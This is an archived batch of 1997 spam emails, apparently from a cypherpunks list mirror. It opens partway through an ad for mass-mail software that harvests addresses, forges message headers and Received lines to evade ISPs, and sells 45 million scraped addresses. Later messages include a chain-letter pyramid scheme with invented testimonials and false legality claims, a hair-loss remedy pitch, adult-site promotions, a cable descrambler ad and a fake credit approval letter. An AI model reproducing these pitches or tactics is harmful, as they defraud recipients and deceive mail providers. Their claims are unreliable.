7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities, way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response(occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF 
       SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE 500,000 
       OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR 
       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with 
      real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to 
      send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 50,000's messages/hour
(28.8k modem and heigher). 

SPECIAL INTRODUCTORY PRICE... 

NOW YOU CAN HAVE BOTH THE FLOODGATE AND 
GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
And receive UNLIMITED technical support for 30 days.

**************************************************************

		45,000,000+ EMAIL ADDRESSES
	MILLIONS AND MILLIONS OF EMAIL ADDRESSES

CD with 45,000,000+ email addresses separated by domain name.
All addresses are simple text format one per line. Addresses
from the following domains: Pipleline, MSN, MCI, Juno, Delphi,
Genie, AOL, Compuserve, Internet, .com & .net, MILLIONS OF THEM!
Not available on diskette or download.

===> WANT THE 45,000,000+ MILLION ADDRESSES FOR $100.00? <===

Just buy our Floodgate / Goldrush software package (with ALL
the bonuses INCLUDED), and the 45,000,000+ addresses are yours
for just $100.00 additional.

These addresses will be delivered to you in simple text files
that any bulk emailing program can use, on CD Rom. With this CD,
YOU CAN BEGIN MAKING MONEY IMMEDIATELY!!!

***************************************************************

***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.


***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!  
         ($200 RETAIL VALUE - FREE!!!) 


***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).


***SPECIAL BONUS #4***

RECEIVE CHECKS BY EMAIL, PHONE OR FAX MACHINE. With this software
program, you can receive payment for your product or service INSTANTLY!!
There is no more waiting for your customers chec to arrive. This
software will no doubt, add to your sales, for customers who
don't have credit cards, as well as the impulse buyers.

With this software, you can print up your payments as soon as your
customer gives you his/her checking information. You will then
add the information given, to the proper blank check spaces, then
just print and go to the bank!!


         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk 
email software in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-784-0312 ext505

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
DEPT KA
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 784-0312 ext.505


______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive UNLIMITED technical support for 30 days.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $3.00 for shipping charges.

______I'm ordering Floodgate / Goldrush software and want to order the 45,000,000+ email addresses as well. My additional cost is $100.00 enclosed.

______I'm NOT ordering your Floodgate / Goldrush software, but I
want to order your 45,000,000+ addresses on CD. Enclosed is $249.00.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)


YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP____________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_________________________________________________

EMAIL ADDRESSES_____________________________________________

************************************************************

We accept Checks, Money Orders, MasterCard, Visa,
American Express. You can either mail your order to 
us OR fax your order to:

			954-572-5837
************************************************************

Today's date:_____________
 
Visa____MasterCard____American Express____
 
Card #:____________________________________________________
 
Expiration date:___________________________________________
 
Name on card:______________________________________________
 
Billing address:___________________________________________
 
Amount to be charged: $________________


Signature:___________________________________________


I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave MustachI
DEPT KA
P.O. Box 772261
Coral Springs, FL 33077
(954) 784-0312 ext.505


***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-572-5837

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz@t-1net.com
Date: Sat, 25 Oct 1997 04:25:05 -0700 (PDT)
To: biz@t-1net.com
Subject: RE: Hair loss? Check this out!
Message-ID: <199710241017.FAA09248@ryan.t-1net.com>
MIME-Version: 1.0
Content-Type: text/plain


NEW - NEW - NEW  
You have seen this add and wondered if it works. Indeed it works! So well
that we are  proud to say 90% of our customers who put their trust
in our product are extremely satisfied. So if you too have a hair problem just
contact us and we shall provide you with this amazing formula.
===========================================================
We are now offering a unique, well-kept secret, simple to make
formula to stop your hair loss.
Origin of the formula: Middle-East
Ingredients: 3 (very unexpensive)
Application: At night, on scalp, rinse hair in the morning. Repeat for 3-4 days, every 3 months.
Results: Stop hair loss, healthier hair. Re-growth possible in some cases.
Try it! Now!
Price: US$5.00

Mail US$5.00 (cash or international postal mandate) to:
Distribution R.B. Inc.
2605 Cote-Vertu #505
St-Laurent / PQ / Canada
H4R 2A9

Mention one of the following for us to send formula:
1. E-mail address  or
2. Fax number  or
3. Mailing address
Try it now, you'll be amazed at the results. Simple but efficient.
JMD Bery - President


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fp7e@fp7e30.net
Date: Fri, 24 Oct 1997 10:18:50 -0700 (PDT)
To: aware@internet
Subject: Important
Message-ID: <44592494_96026847>
MIME-Version: 1.0
Content-Type: text/plain




                         
                         *** MAKE $34,000 in 14 WEEKS ***
              
The main reason for this letter is to convince you that this system is
honest, lawful, extremely profitable, and is a way to get a huge amount
of money in a short time.  

   I was approached several times before I checked this out.  I joined just 
   to see what one could expect in return for the minimal effort and money 
   required.  Initially I let no one in the organization know that I was an    attorney and, to my astonishment, I received $34,470.00 in the first        14 weeks, with money still coming in.

                      Sincerely yours, Biron Stary, Esquire


                   
                     ***"Please Read This Twice!"***

  Dear friend,

		*** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in  taking a 
look at. It can be started with VERY LITTLE investment ($15) and the 
income return potential is TREMENDOUS!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $34,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

This is a MONEY-MAKING PHENOMENON. PRINT this letter, read the 
program...  THEN READ IT AGAIN !!!

You are looking at the most profitable and unique program you may ever
see.  It has demonstrated and proven ability to generate large sums of
money.  This program is showing fantastic appeal with a huge and ever
growing population which needs additional income.

                       

      This is a legitimate LEGAL money-making opportunity.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house, except to get the mail.  If you 
believe that some day you will get that lucky break that you have been
waiting for, THIS IS IT!  Simply follow the easy instructions, and your
dream will come true!  

This ORIGINAL electronic multi-level marketing program works 
perfectly...100% EVERY TIME!

     Thousands of people have used this program to raise capital to start 
their own business, pay off debts, buy homes, cars, etc., even retire! 
This is your chance, so don't pass it up.

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

   Basically, this is what we do:  

We sell thousands of people a product for $5.00 that costs 
us next to nothing to produce and e-mail.  As with all multi-level 
businesses, we build our business by recruiting new partners
and selling our products.  Every state in the U.S. allows you to recruit
new multi- level business online (with your computer).

The product in this program is a series of four reports. Each order 
will include the e-mail address of the sender.  To fill each order, 
you simply e-mail the product to the buyer. No postage or time wasted.  
THAT'S IT!...the $5.00 is yours!  

This is the GREATEST, EASIEST electronic multi-level marketing 
business anywhere! There are no more costs after you have purchased
the reports. 

FOLLOW THE INSTRUCTIONS EXACTLY!
Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
So go for it.  Remember the 4 points and we'll see YOU at the top!




           ******* I  N  S  T  R  U  C  T  I  O  N  S *******


This is what you MUST do:

1.  Order the reports listed and numbered from the list below.
    For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
    RETURN POSTAL ADDRESS (in case of a problem) to each person listed.

     When you order, make sure you request each SPECIFIC report.  You
     will need all three reports, because you will be saving them on your 
     computer and reselling them.

2.  IMPORTANT--DO NOT alter the names, or their sequence other than
    instructed in this program! Or you will not profit the way you should.

    Replace the name and address under REPORT #1 with yours, moving
    the one that was there down to REPORT #2.  Move the name and
    address under REPORT #2 to REPORT #3. Bump off the name in
    the 3rd position, they already are have made thousands, 
    it's your turn now!   

    When doing this, please make certain you copy everyone's name and
    address ACCURATELY!!!  Also, DO NOT move the Report/Product
    positions!

3.  Take this entire program text, including the corrected names list,
    and save it on your computer.

4.  Now you're ready to start a massive advertising campaign on the
    WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
    but there are HUNDREDS of FREE places to advertise also.  Another
    avenue which you could use is e-mail mailing lists.  You can buy
    these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
    AS SOON AS YOU CAN. You should pass this opportunity on to all
    you friends, family, business partners, everyone! The more people that
    participate, the more CASH you make!!!

      ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
                      ********REQUIRED REPORTS********

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER 
REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. 
ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE 
YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:  
NEW AGE MARKETING
PO Box 60231 
King of Prussia, PA 19406

________________________________________
REPORT #2
"USE YOUR COMPUTER AS A MONEY MAKING  MACHINE"

ORDER REPORT #2 FROM:
C.S. Marketing
PO Box 1125
Valley Forge, PA  19482

___________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
ek@NYL
1 Radnor Corp. Cntr, Suite 100
Radnor, PA 19087
____________________________________________________



HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

Let's say you decide to start small just to see how it goes.  Assume
your goal is to get 10 people to participate on your first level.
(Placing a lot of FREE ads on the internet could EASILY get a better
response.)  Also assume that everyone else in YOUR BUILDING 
ORGANIZATION gets ONLY 10 members.  Follow this example 
for the STAGGERING results below.

1st level -- your 10 members with $5   ($5 x 10)                $50
2nd level -- 10 members from those 10  ($5 x 100)              $500
3rd level -- 10 members from those 100 ($5 x 1,000)          $5,000

         			
                                      THIS TOTALS------------$5,550

Remember friends, this is assuming that the people who participate
only recruit 10 people each.  Dare to think for a moment what would
happen if everyone got 20 people to participate!  Some people get
100's of recruits!  THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.
You obviously already have an internet connection and email is FREE!!!
REPORT#3 will show you the best methods for finding people who will buy 
your reports, and it will how to reach thousands of hot prospects!

REMEMBER:  Approx. 150,000 new people get online monthly!

      ORDER YOUR REPORTS NOW!!!


*******TIPS FOR SUCCESS*******

THIS IS YOUR BUSINESS!  Send for the three reports IMMEDIATELY,
so you will have them when the orders start coming in because:
When you receive a $5 order, you MUST send out the requested 
product/report to comply with the U.S. Postal & Lottery Laws, 
Title 18,Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. 
Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state that "a product or service must be exchanged for money received."

*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

*  Be patient and persistent with this program.  If you follow the           instructions exactly the results WILL undoubtedly be SUCCE$$!

*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


*******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this:
You MUST receive 20 orders for REPORT #1!  THIS IS A MUST!  If
you don't within two weeks, advertise more and send out more programs
until you do.  Then, a couple of weeks later you should receive at
least 100 orders for REPORT #2.  If you don't, advertise more and send
out more programs until you do.  Once you have received 100, or more
orders for REPORT #2, YOU CAN RELAX, because you will be on your way
to the BANK!  -OR-  You can DOUBLE your efforts!

REMEMBER:  Every time your name is moved down on the list you are in
front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
by what report people are ordering from you. IT'S THAT EASY!!!

NOTE:  IF YOU NEED HELP with starting a business, registering a business
name, how income tax is handled, etc., contact your local office of the 
Small Business Administration (a Federal agency) for free help and answers to questions.  Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.

        



           ******* T  E  S  T  I  M  O  N  I  A  L  S *******
 
This program does work, but you must follow it EXACTLY! Especially the
rule of not trying to place your name in a different position, it won't work,you'll lose a lot of money.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security.  If you are a fellow Christian and are in financial trouble like I was, consider this a sign.  I DID!
                                            Good Luck & God Bless You,
                                     Sincerely, Minister Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks
like piled up on the kitchen table?...IT'S AWESOME!


My name is Frank.  My wife Doris and I live in Bel-Air, MD.
I am a cost accountant with a major U.S. Corporation and I make
pretty good money.  When I received the program I grumbled to Doris
about receiving "junk mail"!  I made fun of the whole thing, spouting
my knowledge of the population and percentages involved.  I "knew" it
wouldn't work.  Doris totally ignored my supposed intelligence and
jumped in with both feet.  I made merciless fun of her, and was ready
to lay the old "I told you so" on her when the thing didn't work...
well, the laugh was on me!  Within two weeks she had received over 50
responses.  Within 45 days she had received over $147,200 in $5 bills!
I was stunned.  I was sure that I had it all figured and that it wouldn't 
work...I AM a believer now.  I have joined Doris in her "little" hobby. I did have seven more years until retirement,  but I think of the "rat race" andit's not for me...We owe it all to MLM.
                                              Frank T., Bel-Air, MD
 
I just want to pass along my best wishes and encouragement to you. 
Any doubts you have will vanish when your first orders come in.  I even
checked with the U.S. Post Office to verify that the plan was legal.  
It definitely is!  IT WORKS!!!
                                           Paul Johnson, Raleigh, NC

This is the only realistic money-making offer I've ever received.  I 
participated because this plan truly makes sense. I was surprised
when the $5.00 bills started filling my mail box. By the time it tapered
off I had received over 8,000 orders with over $40,000 in cash.  Dozens
of people have sent warm personal notes too, sharing the news of their
good fortunes!  It's been WONDERFUL.
                                              Carl Winslow Tulsa, OK
 
 
This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders
OVER $48,000!!!  I hope I have sparked your own excitement, if you follow
the program exactly, you could have the same success I have, if not better.
Your success is right around the corner, but you must do a little work.
                                                   Good Luck!  G. Bank
 
Not being the gambling type, it took me several weeks to make
up my mind to participate in this plan.  But conservative that I am
I decided that the initial investment was so little that there was
just no way that I wouldn't get enough orders to at least get my money
back.  Boy I was surprised when I found my medium-size post office box
crammed with orders.  After that it got so over-loaded that I had to
start picking up my mail at the window.  I'll make more money this
year than any 10 years of my life before.  The nice thing about this
deal is that it doesn't matter where in the U.S. the people live.
There simply isn't a better investment with a faster return.
                                             Mary Rockland, Lansing, MI

I had received this program before.  I deleted it, but later
I wondered if I shouldn't have given it a try.  Of course, I had no
idea who to contact to get another copy, so I had to wait until I
was e-mailed another program...11 months passed then it came...I
didn't delete this one!...I made $41,000 on the first try!!
                                                 D. Wilburn, Muncie, IN
 
This is my third time to participate in this plan.  We have
quit our jobs, and quite soon we will buy a home on the beach and live
off the interest on our money.  The only way on earth that this plan
will work for you is if you do it.  For your sake, and for your family's
sake don't pass up this golden opportunity.  Remember, when you order
your four reports, SEND CASH.  Checks have to clear the bank and create
too many delays.  Good luck and happy spending!
                                         Charles Fairchild, Spokane, WA
 
Typically when I look at a money-making deal I want to
know if the company is strong, will it be here when it's time for
my big pay off.  In this crazy thing there is no company intervention
for management to blow it.  Just people like me ordering directly
from the source!  Interesting...I had a couple of projects I'd been
trying to fund to no avail so I thought; Why not give it a try?  Well
2 1/2 weeks later the orders started coming in.  One project is funded
and I'm sure the other will be soon!
                                         Marilynn St. Claire, Logan, UT
 
====================================================

We could be printing YOUR testimonial next!!!
 
ORDER YOUR REPORTS TODAY AND GET
STARTED DOWN THE ROAD TO YOUR
FINANCIAL FREEDOM!!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
IMPORTANT NOTE: If you don't get a report, please 
email webmaster@crescentstreet.com and inform us,
we monitor to make sure you get your reports quickly.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
To be removed from our list please visit http://www.iemmc.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: web-promotions@nevwest.com
Date: Fri, 24 Oct 1997 12:41:14 -0700 (PDT)
To: web-promotions@nevwest.com
Subject: Automated Links Trade
Message-ID: <199710241724.OAA29210@north.nsis.com>
MIME-Version: 1.0
Content-Type: text/plain


Attention Fellow Webmasters:

THE ULTIMATE TECHNOLOGY IS HERE!!!!!!!!!!!

Do you trade links? Yes
Do you hate trading links and soliciting links trades? Yes
Does it produce good traffic? Yes

http://www.adultsitelinks.com  Automated Links Trade

Well, we've created a program, after 100s of programming and designing
hours that will AUTOMATICALLY trade
links with other adult sites signed up to ASL Net (Adult Site Links
Network) in a matter of seconds. Better yet, you
need not add the links to your links page, because your links page is
AUTOMATICALLY generated by our program
with your style specifications in your links page template. This program
is very slick. It isn't a TOP ?? Anything,
there is no bullshit traffic, the system is designed to find any
cheaters automatically with programs that run every
evening. We've tried to think of everything to produce more traffic for
you. This is simply a way to trade links without
soliciting links trades. You still have a links page, it still has your
sites look, it still trades links with sites in your
hits/day traffic category......the only difference is you do all your
links trades FOREVER one time by signing up.

How much for this service? NOTHING its FREE This is a beta launch, but
we've done heavy internal testing and
everything is flawless as of yet. Don't delay, stop wasting precious
time on tedious link trade solicitations and dead
links......let our software do it for you for FREE and gain a ton of
traffic. Don't try to cheat us, if you do your site,
name and e-mail address will be sent to a sponsor list already very long
warning them not to except your program.
(Sponsors if you want on this list, please e-mail me and I'll add you to
this list)
People this is revolution and you don't want to miss out on it. Sign up
below, gain traffic, lose headaches!! Its that
easy........

ADULT SITE LINKS NETWORK :: ASL-Net

Click below to learn more and sign up now, its instantaneous.

http://www.adultsitelinks.com





<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

This message was sent by Adult Web Promotions with the intent of reaching
it's Adult Webmaster Audience.  

The Advertiser in this email does not maintain the mailing list that you are list on.

If you would like to be removed from future mailings, please type the word REMOVE
in the subject line and reply back to the sender of this email.

<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CableUs <cableus@internetmedia.com>
Date: Fri, 24 Oct 1997 20:11:01 -0700 (PDT)
To: cableus@internetmedia.com
Subject: Save Money...Own your own Cable Descrambler!
Message-ID: <bulk.5472.19971024171629@ns.internetmedia.com>
MIME-Version: 1.0
Content-Type: text/plain


Don't let your cable company force you to pay OUTRAGEOUS
equipment costs to receive basic/premium channels.
We are Midwest Electronics, Inc. America's LARGEST
PROVIDER of cable converters and descramblers and
we feel you shouldn't have to pay TOO MUCH any
more!

The Communications Act of 1996 approved by Congress and
signed by President Clinton in February 1996 now allows
cable subscribers to purchase cable converters and
descramblers from independent vendors.

We have 18 years experience in the cable industry.
We carry most makes and models of cable converters
and descramblers including Jerrold, Scientific Atlanta,
Tocom, Zenith, Pioneer, Panasonic, Novavision and More.
Our prices start at just $150.00.

*** SPECIAL INTERNET OFFER ***

Call us today at (800) 648-3030 M-F 8:00-5:00 C.S.T.
with the model number of your cable company's
converter/descrambler, usually found on top of your
television, and receive a FREE Battery Charger with any
combination unit purchase.

*** ONLY THOSE NOTIFIED BY ELECTRONIC MAIL ARE ELIGIBLE ***

Our SPECIAL Internet Promotion ends November 15, 1997.
When calling please provide us with your e-mail
address in order to receive your FREE BATTERY CHARGER!!!

If are unable to take advantage of our offer at this
time, but would like to receive our FREE CATALOG  reply
to us via e-mail at cableus@internetmedia.com with your
mailing name or visit our WEBSITE at:

http://www.midwestcable.com

http://www.midwestcable.com

More about us:

* 30-Day Money Back Guarantee!
* We Service What We Sell!
* Personal Assistance Hotline!

Note: No sales to TIME-WARNER or PARAGON cable franchise areas.

-------------------------------------------------------------------------
If you would like to continue receiving updates on prices and other 
information from Midwest Electronics you may REPLY and type SUBSCRIBE 
in the SUBJECT line (Please be sure to include name, address and phone 
for your FREE CATALOG!).  Otherwise, your address will be promptly removed 
from our lists and no further attempts will be made to contact you.
-------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: suzy1@aol.com
Date: Fri, 24 Oct 1997 16:53:55 -0700 (PDT)
To: suzy1@aol.com
Subject: Have some fun
Message-ID: <68399340_89547999>
MIME-Version: 1.0
Content-Type: text/plain



TEN MINUTES FREE!
Just for you if you're over 18.

Five minutes in our Private Show AND
five minutes in our Voyeur Show.  Try
it to see if you like it. Adults only!
We support the AOL Browser!

http://www.babequest.com

Signup for free and use your free time.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CCSI@westcoastmemory.com
Date: Sat, 25 Oct 1997 12:21:33 -0700 (PDT)
To: Friend@public.com
Subject: INTERNET  CREDIT CARD APPROVAL
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


INTERNET  CREDIT CARD APPROVAL LETTER
(Account activation hotline: 1 702 256-3000)

CASH ADVANCE APPROVED: YES
APPROVAL NUMBER: 501-7046176
CREDIT LIMIT: $2,500.00
APPROVAL EXPIRES: 11/10/97
CREDIT PROVIDER: CCS
BANK AFFILIATION: NONE
CARD ISSUED: CASHPLUS
MEMBER STATUS: PENDING
